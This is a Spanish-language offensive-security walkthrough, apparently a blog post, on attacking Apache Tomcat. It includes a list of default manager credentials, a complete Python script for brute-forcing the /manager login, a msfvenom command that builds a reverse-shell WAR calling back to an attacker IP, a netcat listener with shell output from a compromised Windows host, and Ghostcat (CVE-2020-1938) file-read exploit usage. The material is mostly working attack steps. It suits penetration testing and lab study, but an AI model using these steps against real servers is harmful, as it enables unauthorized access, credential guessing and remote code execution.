Tomcat Hacking

WAR file

Featured image

Apache Tomcat es un servidor web de código abierto y contenedor de Servlet para código Java. Una de las formas para la detección de la versión es buscando un directorio inexistente, de esta forma la respuesta podría ser como la siguiente:

tomcat1

También es posible obtener la versión visitando el directorio /docs/.

tomcat2

Credenciales por defecto

Un directorio importante en tomcat es el “manager app” presente en /manager o /host-manager, el cual muchas veces contiene alguna de las siguientes credenciales:

Username Password
admin password
admin
admin Password1
admin password1
admin admin
admin tomcat
both tomcat
manager manager
role1 role1
role1 tomcat
role changethis
root Password1
root changethis
root password
root password1
root r00t
root root
root toor
tomcat tomcat
tomcat s3cret
tomcat password1
tomcat password
tomcat
tomcat admin
tomcat changethis

Fuerza Bruta

Si no se encuentra la credencial se podría realizar fuerza bruta sobre el panel de login por medio del siguiente script en python:

#!/usr/bin/python

import requests
from termcolor import cprint
import argparse

parser = argparse.ArgumentParser(description = "Tomcat manager or host-manager credential bruteforcing")

parser.add_argument("-U", "--url", type = str, required = True, help = "URL to tomcat page")
parser.add_argument("-P", "--path", type = str, required = True, help = "manager or host-manager URI")
parser.add_argument("-u", "--usernames", type = str, required = True, help = "Users File")
parser.add_argument("-p", "--passwords", type = str, required = True, help = "Passwords Files")

args = parser.parse_args()

url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords

new_url = url + uri
f_users = open(users_file, "rb")
f_pass = open(passwords_file, "rb")
usernames = [x.strip() for x in f_users]
passwords = [x.strip() for x in f_pass]

cprint("\n[+] Atacking.....", "red", attrs = ['bold'])

for u in usernames:
    for p in passwords:
        r = requests.get(new_url,auth = (u, p))

        if r.status_code == 200:
            cprint("\n[+] Success!!", "green", attrs = ['bold'])
            cprint("[+] Username : {}\n[+] Password : {}".format(u,p), "green", attrs = ['bold'])
            break
    if r.status_code == 200:
        break

if r.status_code != 200:
    cprint("\n[+] Failed!!", "red", attrs = ['bold'])
    cprint("[+] Could not Find the creds :( ", "red", attrs = ['bold'])
#print r.status_code

El modo de uso es el siguiente:

┌──(root㉿kali)-[/tomcat]
└─ python3 mgr_brute.py -U <dirección web> -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt

Ejecución remota de código con archivo WAR

Si ya obtuvimos acceso al “manager app”, debemos crear nuestro payload por medio de msfvenom:

┌──(root㉿kali)-[/tomcat]
└─ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.23 LPORT=443 -f war -o reverse.war                                       
Payload size: 1085 bytes
Final size of war file: 1085 bytes
Saved as: reverse.war
┌──(root㉿kali)-[/tomcat]
└─ ls
reverse.war

Ahora dentro del “manager app” nos dirigimos a la sección “archivo WAR a desplegar” y le damos en “Choose File”:

tomcat

Y seleccionamos el archivo reverse.war para desplegar:

tomcatwarupload

Nos ponemos a la escucha con netcat en el puerto 443:

┌──(root㉿kali)-[/tomcat]
└─ nc -nlvp 443
listening on [any] 443 ...

Y abrimos /reverse en la tabla de aplicaciones de Tomcat:

tomcatreversewar

Para finalmente obtenemos nuestra shell interactiva:

┌──(root㉿kali)-[/tomcat]
└─ nc -nlvp 443
listening on [any] 443 ...
connect to [172.16.1.5] from (UNKNOWN) [172.16.1.11] 49811
Microsoft Windows [Version 10.0.17763.2114]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Apache Software Foundation\Tomcat 10.0>

CVE-2020-1938 (LFI)

Ghostcat es una vulnerabilidad sin autenticación que permite devolver archivos arbitrarios desde cualquier lugar de la aplicación web, es decir un (LFI). Todas las versiones de Tomcat anteriores a 9.0.31, 8.5.51 y 7.0.100 son vulnerables. Se debe considerar que el exploit solo puede leer archivos y carpetas dentro de la carpeta de la aplicación web, lo que significa que archivos como /etc/passwd no se podrán visualizar.

Dentro de las carpetas del servidor web hay ciertos archivos que son interesantes y se podrían aprovechar de visitar al explotar esta vulnerabilidad:

Uso del exploit considerando de que el puerto debe ser el de Apache Jserv (ajp13) no el http.

Para obtener el exploit se debe hacer click donde dice Ghostcat.

┌──(root㉿kali)-[/tomcat]
└─ python2 tomcat-ajp.lfi.py <url> -p 8009 -f WEB-INF/web.xml